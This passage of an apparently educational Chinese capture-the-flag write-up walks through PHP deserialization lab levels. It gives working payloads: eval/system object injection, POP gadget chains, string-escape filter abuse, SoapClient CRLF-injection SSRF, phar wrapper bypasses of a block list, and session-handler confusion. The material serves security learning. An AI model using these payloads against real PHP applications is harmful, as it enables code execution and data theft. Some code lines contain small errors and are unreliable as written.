$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>
<br><a href="../level7">点击进入第七关</a>s

本关对输入的param进行了一个%的过滤,而且类中的属性的变量是私有属性

private属性序列化的时候格式是 %00类名%00成员名

payload

<?php

class secret
{
private $comm;

public function __construct($com)
{
$this->comm = $com;
}

function __destruct()
{
echo eval($this->comm);
}
}

$pa = new secret("system('sort flag.php');");
#O:6:"secret":1:{s:12:"%00secret%00comm";s:24:"system('sort flag.php');";}
echo serialize($pa), "\n";

但还是不行, 这里因为%00被url解码后是不可见字符,所以要在类名左右加上\00且要将上面的小写s改成S

与小写”s”不同,大写”S”表示键名或属性名是区分大小写的。

#O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}

image-20240423230938596

level7

<?php
highlight_file(__FILE__);
class you
{
private $body;
private $pro='';
function __destruct()#反序列化时调用
{
$project=$this->pro;
$this->body->$projecct();
}
}

class my
{
public $name;

function __call($func, $args)//调用不存在方法的时候,
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=$_GET['a'];
unserialize($a);
?>

当调用不存在的方法时,会把不存在的方法名赋值给第一个参数,所以不存在的方法最好就是yourname,所以pro可以设置成yourname,而要调用不存在的方法,可以new一个my赋值给body,所以构造出来的代码是

<?php
highlight_file(__FILE__);
class you
{
private $body = new my();
private $pro='yourname';
}

class my
{
public $name = 'myname';
}
$a = new you();

#$a=$_GET['a'];
echo serialize($a);
?>

但这样运行会报错,PHP不允许在类属性的声明中使用直接实例化的方式。

类属性的初始化必须使用常量或静态表达式,而不能使用函数调用或实例化操作。因此,将$body属性的初始化移动到类的构造函数中会解决这个问题。比如在serialize时会调用的construct方法

<?php
highlight_file(__FILE__);

class you
{
private $body;
private $pro = 'yourname';

public function __construct()
{
$this->body = new my();
}
}

class my
{
public $name = 'myname';
}

$a = new you();
echo serialize($a);
//然后记得将私有属性的%00补上
//O:3:"you":2:{s:9:"%00you%00body";O:2:"my":1:{s:4:"name";s:6:"myname";}s:8:"%00you%00pro";s:8:"yourname";}
?>

image-20240424202419211

level8

<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>

字符串逃逸,重要的是让filter里的name==escaping,test不用考虑,下面来看看要几个php把,先把需要的序列化字符串构造出来

<?php

class test
{
var $user = "123";#这个随便打
var $pass = "escaping";
}

echo serialize(new test());
//O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"escaping";}

关键是要**s:4:”pass”;s:8:”escaping”;}**这一段,这时就要让吐出来的字符数为29个,加上前面的引号和冒号,而1个php转换成hack会吃掉一个字符,所以全部要29个php

#$user='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'

最终代码

<?php

class test
{
var $user='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
var $pass = "escaping";
}

echo serialize(new test());
#O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}

image-20240424204156850

level9

<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
//这个是格式方法错误导致被调用。
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
//即把对象当成字符串 调用
public function __toString(){
return $this->str->source;
}
//unserialize() 会检查是否存在一个wakeup()方法
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
//序列化时调用
public function __construct(){
$this->p = array();
}
//调用的成员属性不存在
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

首先,要想页面返回flag,我们就要调用append方法,而append方法时通过invoke方法赋值,而invoke是通过错误格式方法来触发,这就要找能调用方法的地方,可以找到get,而能触发get的方法就要找到可以读取属性的地方,即toString,而触发toString的地方只有Show,所以show就是头

构造poc

<?php
class Modifier{
private $var = 'flag.php';
}
class Show {
public $source;
public $str;
}
class Test {
public $p;
}
#先从头开始
$a = new Show(); $a->source = $a;//把对象当字符串调用
$b = new Test();
$a->source->str = $b;//source类中的str赋值为Test类,当调用该类中不存在的属性source时触发get
$c = new Modifier();
$b->p=$c;//把类赋值给方法触发invoke
echo urlencode(serialize($a));//从头开始序列化
?>
#O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

image-20240424212028638

level10

本关需要开启soap拓展且php版本在5.6、找到配置文件 php-ini

image-20240424214011774

<?php
highlight_file(__FILE__);

$c = unserialize($_GET['param']);
$c -> daydream();

/*
In this topic,it is of course possible to pass parameters directly to flag.php, but it is not recommended to use this method to learn SOAP.
flag.php
$flag="*";
$user=$_SERVER['HTTP_USER_AGENT'];
$pass = $_POST['pass'];
if(isset($pass) and isset($user)){
if($pass=='password' and $user=='admin'){
file_put_contents('flag.txt',$flag);
}
}
*/
?>

前置知识;https://blog.csdn.net/solitudi/article/details/113588692

在给出的代码中,有一个名为flag.php的文件。这个文件的作用是根据一些条件将一个标志($flag)写入到flag.txt文件中。

下面是对代码的解释:

  1. 首先,定义了一个变量$flag,其初始值为”*”,表示标志的内容。

  2. 接下来,通过$_SERVER[‘HTTP_USER_AGENT’]获取了用户的User-Agent信息,并将其赋值给变量$user。

  3. 然后,通过$_POST[‘pass’]获取了来自POST请求的pass参数的值,并将其赋值给变量$pass。

  4. 在if条件语句中,首先使用isset()函数检查$pass和$user是否都存在。

  5. 如果$pass的值等于”password”并且$user的值等于”admin”,则条件成立。

  6. 在条件成立的情况下,使用file_put_contents()函数将$flag的内容写入到名为flag.txt的文件中。

综上所述,这段代码的逻辑是,当接收到POST请求中包含正确的密码(“password”)和用户代理信息(“admin”)时,将标志($flag)的内容写入到flag.txt文件中。这可以作为一个简单的身份验证和授权机制,只有在满足特定条件时才会写入标志文件。

image-20240424212652149

在后台返回一下falg.php的一些值看看,在从0-1看到了类似的题目,原生类的利用public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为null,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

还要利用crlf注入漏洞(\r\n)

<?php
$post_data='pass=password';
$data_len=strlen($post_data);
$a = new SoapClient(null,array('http://192.168.199.177:8080'=>'http://192.168.174.143/ser/level10/flag.php','user_agent'=>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.$data_len.'^^^^'.$post_data,'uri'=>'bbba'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);//将^^改为\r\n
$b = str_replace('&','&',$b);
echo urlencode($b);
#O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22bbba%22%3Bs%3A8%3A%22location%22%3Bs%3A43%3A%22http%3A%2F%2F192.168.174.143%2Fser%2Flevel10%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A91%3A%22admin%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Apass%3Dpassword%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后直接访问目录下的txt文件即可

image-20240425145934461

image-20240425145942258

level11phar反序列化

<?php
highlight_file(__FILE__);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>

可以先试一下看看常见的文件存不存在

image-20240425161340203

目的是echo $flag,然后destruct是要反序列化时才会触发的方法,所以通过md5_file去触发反序列化,由此构造

<?php
highlight_file(__FILE__);
class TestObject
{
}

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

然后将生成的文件改成图片类型的后缀上传,然后POST参数附上就可以了

image-20240425163542221

level12

<?php
highlight_file(__FILE__);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
$boo1=1;
$black_list=['php','file','glob','data','http','ftp','zip','https','ftps','phar'];
foreach($black_list as $item){
$front=substr($filename,0,strlen($item));
if ($front==$item){
$boo1=0;
}
}
if (isset($filename) and $boo1){
echo md5_file($filename);
}
//upload.php
?>

正常的phar伪协议是不行的

当phar被过滤的情况下可以使用下列协议实现绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

image-20240425183148519

由于黑名单上有zip和php所以使用的payload为:

compress.zlib://phar://upload/test.gif/test.txt

image-20240425193124264

level13

<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->name=$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
//绕过这个需要用到引用
include('flag.php');
echo $flag;
}
}
}
?>

先去hint.php看看线索

<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
//#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 设置选择session序列化选择器
session_start();
$_SESSION['a'] = $_GET['a'];
?>

在index.php中就一个Flag类中存在一个__wakeup魔术方法

方法内形同虚设,相当于触发了方法直接返回flag

哪触发wakeup需要反序列化,这里没unserialize函数且没有文件上传

但hint中发现对session是可控的且在hint.php下session的引擎格式是php_serialize

默认情况下session处理引擎是php

此外了解一下ini_set这个函数

ini_set设置php.ini指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

也就是说只有在hint.php下时是对session处理的引擎是php_serialize

其他php文件下还是默认php引擎

php引擎的存储格式是键名|serialized_string,而php_serialize引擎的存储格式是serialized_string

当在php_serialize的引擎储存格式下创建session然后处理(验证)session时会把” | “当成一个正常的字符。而在php引擎储存格式下处理(验证)同一个session的时会把” | “ 当成键与值的分割符然后对分割符后面的值进行反序列化

所以当我们在自定义session中在序列化语句前加上 | 然后再访问index.php这时,在index.php下服务器验证session的时候因为是php引擎储存格式,所以会对session中 | 后的内容进行反序列化,从而触发了wakeup魔术方法得到flag

<?php
#highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->name=$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
//绕过这个需要用到引用
include('flag.php');
echo $flag;
}
}
}
$a = new Flag();
$a->name = &$a->her;
echo serialize($a);
?>
#O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
#?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

image-20240425203402758

level14

php.ini配置

session.auto_start=0;
session.serialize_handler = php_serialize;
session.upload_progress.enabled = On;
session.upload_progress.cleanup = Off;
session.upload_progress.prefix = "upload_progress_";
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS";<br>session.upload_progress.freq = "1%";
session.upload_progress.min_freq = "1";
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();

class test{
public $name;
function __destruct(){
if($this->name=='flag'){
include('flag.php');
echo $flag;
}
else{
phpinfo();
}
}
}
O:4:"test":1:{s:4:"name";s:4:"flag";}

主要利用的是session.upload_progress.enabled 当该设置为on 的时候,在向服务器上传任意一个文件的时候php会把该上传文件的详细信息(如上传时间,文件名等)储存在session中,而当我们以POST形式传入名为PHP_SESSION_UPLOAD_PROGRESS的变量时,传入的文件名会被储存到session中(也是filename的值赋值到session中)

原文链接:https://blog.csdn.net/qq_73767109/article/details/130856442

.写一个文件上传的html

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<form id="upload-form" action="http://192.168.174.143/ser/level14/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="test"/>
上传文件…
<input name="file1" type="file" />
<input type="submit" value="上传"/>
</form>

改成html尾缀,这里的变量名一定要是PHP_SESSION_UPLOAD_PROGRESS

打开html任意上传一个文件并抓包

修改filename为

|O:4:"test":1:{s:4:"name";s:4:"flag";}

image-20240425211118879

image-20240425212308789

就告一段落了。